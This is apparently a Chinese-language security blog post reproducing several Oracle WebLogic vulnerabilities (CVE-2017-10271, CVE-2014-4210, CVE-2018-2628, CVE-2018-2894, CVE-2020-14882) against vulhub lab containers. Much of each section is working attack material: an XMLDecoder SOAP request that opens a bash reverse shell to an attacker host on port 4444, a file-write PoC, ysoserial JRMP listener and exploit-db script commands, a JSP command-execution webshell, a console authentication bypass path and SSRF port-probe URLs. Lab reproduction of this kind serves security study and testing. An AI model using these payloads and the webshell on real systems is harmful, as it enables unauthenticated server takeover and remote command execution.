weblogic中间件漏洞复现


weblogic中间件漏洞复现

weblogic介绍

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
WebLogic是美商Oracle的主要产品之一,是并购BEA得来。是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.2.1.4) 版。而此产品也延伸出WebLogic Portal,WebLogic Integration等企业用的中间件(但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。
本文内容主要对weblogic曾经爆出来的漏洞进行漏洞复现

CVE-2017-10271

简介

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271) 漏洞编号:CVE-2017-10271 漏洞描述:WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击,近期发现此漏洞的利用方式为传播挖矿程序。

漏洞描述

WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击,近期发现此漏洞的利用方式为传播挖矿程序。

漏洞影响版本

受影响WebLogic版本:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。

环境搭建

使用docker搭建vulhub靶场,进入对应目录启动环境即可

访问本地的7001端口出现如下界面即代表搭建成功

漏洞复现

使用安恒信息的漏洞专项检测工具进行检测

检测成功

访问http://192.168.109.128:7001/wls-wsat/CoordinatorPortType出现如下页面就说明是存在漏洞的

使用burpsuite进行抓包

反弹shell

找到一台攻击机监听本地的4444端口

然后在burpsuite上构造数据包进行发包
反弹shellpoc

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.109.128:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.109.188/4444 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

点击send进行发包

在攻击机监听的4444端口即可看到反弹回来的shell

文件上传

文件上传poc

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.109.128:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

点击send进行发送

访问http://192.168.109.128:7001/bea_wls_internal/test.jsp即可看到文件成功上传了

CVE-2014-4210 SSRF漏洞复现

漏洞描述

服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等。

SSRF用途

1.内外网的端口和服务扫描。2.主机本地敏感数据的读取。3.内外网主机应用程序漏洞的利用。4.内外网web站点漏洞的利用

漏洞影响版本

weblogic 10.0.2 – 10.3.6.0

环境搭建

使用vulhub的环境即可

docker-compose up -d

漏洞复现

环境搭建好之后访问http://192.168.109.128:7001/uddiexplorer,出现如下界面说明环境搭建成功

漏洞位置在此处

进入后直接构造url
http://192.168.109.128:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.109.128:7001

访问存在的端口出现如上页面,访问不存在的端口出现如下页面
http://192.168.109.128:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.109.128:1111

说明存在漏洞

CVE-2018-2628

简介

WebLogic是Orcale出品的一个application server,是J2EE构架中的一部分,具体构架如下

漏洞描述

远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过T3协议(EJB支持远程访问,且支持多种协议。这是Web Container和EJB Container的主要区别)在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java Remote Messaging Protocol:java远程消息交换协议)达到执行任意反序列化 payload 的目的。

漏洞影响版本

Oracle WebLogic Server10.3.6.0

Oracle WebLogic Server12.2.1.2

Oracle WebLogic Server12.2.1.3

Oracle WebLogic Server12.1.3.0

环境搭建

使用vulhub上面的靶场环境即可

docker-compose up -d

漏洞复现

环境搭建好后访问http://192.168.109.128:7001/console出现如下页面即代表环境搭建成功

这里docker只能与布置主机(虚拟机)进行直接命令互通,所以直接使用虚拟机作为攻击机,docker环境作为靶机
查看docker环境的IP地址


攻击机:192.168.109.128
靶机:172.22.0.2
在两台服务器之间建立JRMP服务,在攻击机中启动一个JRMP Server,利用ysoserial来建立
下载ysoserial

wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

用ysoserial来监听weblogic中的7001端口

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'touch /tmp/test.txt'


然后在网上下载exp
https://www.exploit-db.com/exploits/44553

调用之前的exp

python 44553.py 172.22.0.2 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.109.128 1099 JRMPClient


执行成功,查看端口回显

在docker环境中查看test.txt文件是否被创建

test.txt被成功创建,代码执行成功,漏洞复现成功

CVE-2018-2894

漏洞描述

Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。

Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制。两个页面分别为/ws_utc/begin.do、/ws_utc/config.do。

漏洞影响版本

weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3。

环境搭建

进入vulhub对应的目录启动环境即可

docker-compose up -d

漏洞复现

环境搭建好后访问http://192.168.109.128:7001/console出现如下页面说明环境搭建成功

在docker环境中输入docker-compose logs | grep password查看登入的账号密码

使用该账号密码登入后台页面
登入成功后首先点击base_domain

在左下角找到高级选项

然后将启用 Web 服务测试页勾选上

保存后访问http://192.168.109.128:7001/ws_utc/config.do
访问config.do修改work home dir为静态地址
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css因为这个地址是外网可以访问的,我们自动部署的web服务就在这个地址,这个目录外网可以访问且不需要权限,外网通过http://your-ip:7001/ws_utc/css/文件名来访问这个地址下的文件,于是此时我们就可以实现任意文件上传了

然后点击左边的安全选项,上传jsp木马



点击提交即可上传成功

jsp木马

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

打开网页控制台,找到对应前台代码,找到时间戳

之后访问上传的文件,http://192.168.0.134:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]执行webshell

使用上传的文件执行命令成功,漏洞复现成功

CVE-2020-14882

简介

Oracle Fusion Middleware 的 Oracle WebLogic Server 产品中的漏洞(组件:控制台)。受影响的受支持版本包括 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0 和 14.1.1.0.0。易于利用的漏洞允许未经身份验证的攻击者通过 HTTP 进行网络访问,从而破坏 Oracle WebLogic Server。成功攻击此漏洞可导致 Oracle WebLogic Server 被接管。CVSS 3.1 基本分数 9.8(机密性、完整性和可用性影响)。CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

漏洞描述

易于利用的漏洞允许未经身份验证的攻击者通过 HTTP 进行网络访问,从而破坏 Oracle WebLogic Server。成功攻击此漏洞可导致 Oracle WebLogic Server 被接管。

漏洞影响版本

WebLogic Server

=10.3.6.0.0:影响 10.3.6.0.0

=12.1.3.0.0:影响 12.1.3.0.0

=12.2.1.3.0:影响 12.2.1.3.0

=12.2.1.4.0:影响 12.2.1.4.0

=14.1.1.0.0:影响 14.1.1.0.0

环境搭建

使用vulhub上的靶场环境即可

docker-compose up -d

漏洞复现

环境搭建好后访问http://192.168.109.128:7001/console出现如下页面说明环境搭建成功

url输入http://192.168.109.128:7001/console/css/%252e%252e%252fconsole.portal即可直接绕过登入界面

下载漏洞利用脚本

searchsploit -m 49479.py

python3 49479.py -u http://192.168.109.128:7001/


成功执行命令,漏洞复现成功


文章作者: icepeak
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 icepeak !
  目录